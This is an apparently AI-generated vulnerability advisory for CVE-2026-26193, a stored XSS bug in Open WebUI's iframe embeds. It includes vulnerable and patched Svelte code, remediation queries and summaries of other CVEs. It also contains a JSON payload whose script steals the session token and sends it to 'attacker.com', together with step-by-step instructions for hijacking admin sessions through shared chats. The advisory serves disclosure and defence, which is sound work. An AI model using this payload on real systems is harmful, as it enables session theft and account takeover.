CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-26193

CVE-2026-26193: Stored XSS via iFrame Embeds in Open WebUI Response Messages

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 7, 2026·7 min read·90 visits

Executive Summary (TL;DR)

Stored XSS via insecure iframe sandbox configurations in Open WebUI allows low-privileged users to steal admin session tokens through shared chats.

CVE-2026-26193 is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.6.44. The vulnerability arises because the rendering engine hardcodes insecure sandbox options on an iframe component used for response embeds, allowing attackers to execute JavaScript in the parent window origin.

Vulnerability Overview

Open WebUI relies on a modular architecture to render chat content, user instructions, and dynamic embeds within the frontend layout. The Svelte-based frontend utilizes a component named ResponseMessage.svelte to present assistant responses to the client. This component processes standard markdown, LaTeX, charts, and media resources. Among these capabilities is an iframe-based embedding feature designed to display rich external integrations.

To facilitate the rendering of these external resources, the system employs a custom component known as FullHeightIframe. Because Open WebUI is built as a self-hosted platform running in local or enterprise networks, security boundaries inside the UI are critical to prevent unauthorized administrative actions. Response message embeds represent a highly exposed attack surface because they deal with arbitrary, dynamic resource URLs.

The vulnerability, classified as CWE-79 (Stored Cross-Site Scripting), resides in the rendering block for these message embeds. When a message contains an embeds array, the application dynamically instantiates an iframe for each specified link. Due to insecure default configurations within the component lifecycle, malicious code can escape the boundaries typically imposed on frame resources, leading to execution in the security origin of the hosting application.

Root Cause Analysis

The root cause of CVE-2026-26193 is a classic security configuration failure within the iframe's sandbox attributes. Svelte templates compile declarative attributes directly into HTML DOM properties. In ResponseMessage.svelte, the FullHeightIframe tag explicitly enables both script execution and same-origin access simultaneously. This pattern nullifies the browser security mechanisms designed to segregate third-party content.

According to the HTML5 specification, the sandbox attribute restricts the capabilities of nested frame elements. When the allow-scripts flag is specified, the frame is permitted to run scripting engines. When the allow-same-origin flag is specified, the frame treats its source content as if it originates from the parent page's domain. When these two attributes are combined, the frame is granted the capability to bypass its own sandbox constraints, programmatically accessing the parent DOM.

Furthermore, Open WebUI exposes a global configuration setting titled 'iframe Sandbox Allow Same Origin' intended to let administrators toggle this access model globally. However, the hardcoded attributes in the rendering loop for response embeds ignore this global variable. Svelte compiles the hardcoded properties allowScripts={true} and allowSameOrigin={true} directly, meaning the global security setting has no effect on this specific code path.

Code Analysis

The vulnerable code path is found in src/lib/components/chat/Messages/ResponseMessage.svelte between lines 689 and 703. The template loop handles message.embeds without performing validation or sanitization against the provided URLs. This allows arbitrary URI schemes, including data:text/html, to be bound directly to the frame's source parameter.

<!-- Vulnerable Code Path -->
{#if message?.embeds && message.embeds.length > 0}
	<div class="my-1 w-full flex overflow-x-auto gap-2 flex-wrap">
		{#each message.embeds as embed, idx}
			<div class="my-2 w-full" id={`${message.id}-embeds-${idx}`}>
				<FullHeightIframe
					src={embed}
					allowScripts={true}
					allowForms={true}
					allowSameOrigin={true}
					allowPopups={true}
				/>
			</div>
		{/each}
	</div>
{/if}

To correct this vulnerability, the component was refactored in version 0.6.44 to omit the hardcoded same-origin value. The patch dynamically binds the same-origin permission to the configuration state of the application. If the configuration restricts same-origin access for standard embeds, the component honors this decision, isolating the executed scripts.

<!-- Patched Code Path -->
{#if message?.embeds && message.embeds.length > 0}
	<div class="my-1 w-full flex overflow-x-auto gap-2 flex-wrap">
		{#each message.embeds as embed, idx}
			<div class="my-2 w-full" id={`${message.id}-embeds-${idx}`}>
				<FullHeightIframe
					src={embed}
					allowScripts={true}
					allowForms={true}
					allowSameOrigin={IFRAME_SANDBOX_ALLOW_SAME_ORIGIN}
					allowPopups={true}
				/>
			</div>
		{/each}
	</div>
{/if}

Exploitation Methodology

Exploitation requires network access to the Open WebUI instance and an active user account. Because the vulnerability is stored within the chat history, the attacker first submits a standard chat interaction. The attacker then intercepts the communication flow or directly invokes the REST API endpoint to update the chat message history, introducing a custom embeds array containing a malicious data: URI.

{
  "id": "target-message",
  "role": "assistant",
  "content": "Rendering dynamic content...",
  "embeds": [
    "data:text/html,<script>const token = window.parent.localStorage.getItem('token'); fetch('https://attacker.com/log?t=' + encodeURIComponent(token));</script>"
  ]
}

Once the payload is written to the platform's backend database, the attacker executes a share operation. This step generates a unique public URL linked to the contaminated session state. The attacker then targets other local users or platform administrators by transmitting the shared URL via internal communication channels, support tickets, or direct messaging.

When the recipient accesses the shared link, the frontend attempts to render the embedded resource within the DOM. The browser resolves the data: URI and assigns it same-origin permissions due to the static sandbox configurations. The Javascript payload runs immediately, extracts the victim's JWT token from local storage, and exfiltrates it to the attacker's server, enabling instantaneous session hijacking.

Impact Assessment

The severity of CVE-2026-26193 is high, reflecting its potential to cause full account takeovers. Because the target application, Open WebUI, is often deployed within internal enterprise environments or locally on development systems, compromising an administrative session can expose sensitive corporate artificial intelligence assets, backend API keys, and model parameter files.

The CVSS v3.1 base score is 7.3. The attack complexity is low because standard browser behaviors automatically resolve the payload without requiring specialized execution engines. Because authentication to an instance is typically required to modify chat schemas, the baseline privilege is low, but the vector is highly effective because it crosses trust boundaries when an administrator views a user-shared chat.

From an operational standpoint, the script execution executes inside the context of the parent origin. This permits full access to the browser's Document Object Model (DOM), indexedDB databases, local storage repositories, and active cookies. If the victim possesses administrative privileges, the attacker gains the capability to modify global system variables, provision new administrative credentials, or access system integrations.

Remediation and Defensive Strategies

The recommended remediation path is to immediately upgrade Open WebUI to version 0.6.44 or later. This release correctly links the sandbox origin permissions to the global platform settings and restricts unsafe scripts by default. Administrators must verify that the environment has successfully applied the update to prevent exploitation of the existing vulnerable components.

In scenarios where immediate platform updates are not feasible, defenders should implement database-level auditing. Running SQL commands against the backend storage can identify active payloads stored within user histories. The query should look specifically for occurrences of script syntax and data: URIs inside the serialized JSON arrays of the chats table.

-- Query to identify suspect stored chats
SELECT id, user_id, title
FROM chats
WHERE chat_code LIKE '%"embeds"%'
  AND (chat_code LIKE '%data:text/html%' OR chat_code LIKE '%javascript:%');

Additionally, deploying Web Application Firewall (WAF) rules provides an immediate layer of active defense. WAF policies should inspect incoming POST or PATCH requests targeting /api/v1/chats or adjacent endpoints. Rules must flag and block request bodies that combine the embeds keyword with data: URI structures, preventing the registration of malicious configurations in the backend.

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.20%
Top 90% most exploited

Affected Systems

Open WebUI

Affected Versions Detail

Product
Affected Versions
Fixed Version
open_webui
Open WebUI
< 0.6.440.6.44
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.1 Score7.3
EPSS Score0.00198
Exploit Statuspoc
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

CVE Published on CVE.org
2026-02-19
GHSA-vjm7-m4xh-7wrc published
2026-02-19
Official Patch in v0.6.44 released
2026-02-19
NVD Record Status updated
2026-06-17

References & Sources

  • [1]GitHub Security Advisory GHSA-vjm7-m4xh-7wrc
  • [2]Vulnerable Source Code Location
  • [3]Raw Svelte Component Source
  • [4]CVE.org Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-16454
4.3

CVE-2026-16454: Object-Level Authorization Bypass in Eclipse hawkBit Direct Device Integration Controller

CVE-2026-16454 is an object-level authorization bypass vulnerability (CWE-284, CWE-862) in Eclipse hawkBit versions 1.0.3 and prior. The flaw exists within the Direct Device Integration (DDI) REST controller (hawkbit-ddi-resource), where endpoints responsible for enumerating software module metadata and serving firmware binaries fail to verify whether the requested software module is assigned to the authenticated device. Consequently, any device with valid credentials (such as a TargetToken or GatewayToken) can enumerate software module identifiers and download arbitrary firmware artifacts across the entire tenant namespace.

Amit Schendel
Amit Schendel
10 views•9 min read
•1 day ago•CVE-2026-62284
8.6

CVE-2026-62284: Remote Code Execution and SSRF via Unsanitized Kubeconfig in OSAC Operator

CVE-2026-62284 (GHSA-5w5g-j6hw-6p8f) is a code injection and server-side request forgery vulnerability in the console-proxy component of the OSAC Operator. The RemoteConfigResolver parses Kubernetes Secrets containing kubeconfig files via clientcmd.RESTConfigFromKubeConfig without sanitizing execution-related fields. An attacker with RBAC permissions to create or modify labeled Secrets in monitored namespaces can supply a malicious exec credential plugin, resulting in arbitrary command execution within the console-proxy pod.

Amit Schendel
Amit Schendel
8 views•8 min read
•1 day ago•CVE-2026-62361
5.5

CVE-2026-62361: Authenticated SQL Injection and Table Access Control Bypass in Listmonk Subscriber Export

CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).

Alon Barad
Alon Barad
9 views•11 min read
•2 days ago•CVE-2026-28385
5.0

CVE-2026-28385: Server-Side Request Forgery in Canonical LXD Image Import

CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.

Amit Schendel
Amit Schendel
10 views•9 min read
•2 days ago•GHSA-9J25-MM2H-2F76
9.9

CVE-2026-48750: Arbitrary File Write on Host via exec-output Symlink in Canonical LXD and Incus

Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.

Alon Barad
Alon Barad
8 views•12 min read
•2 days ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
8 views•9 min read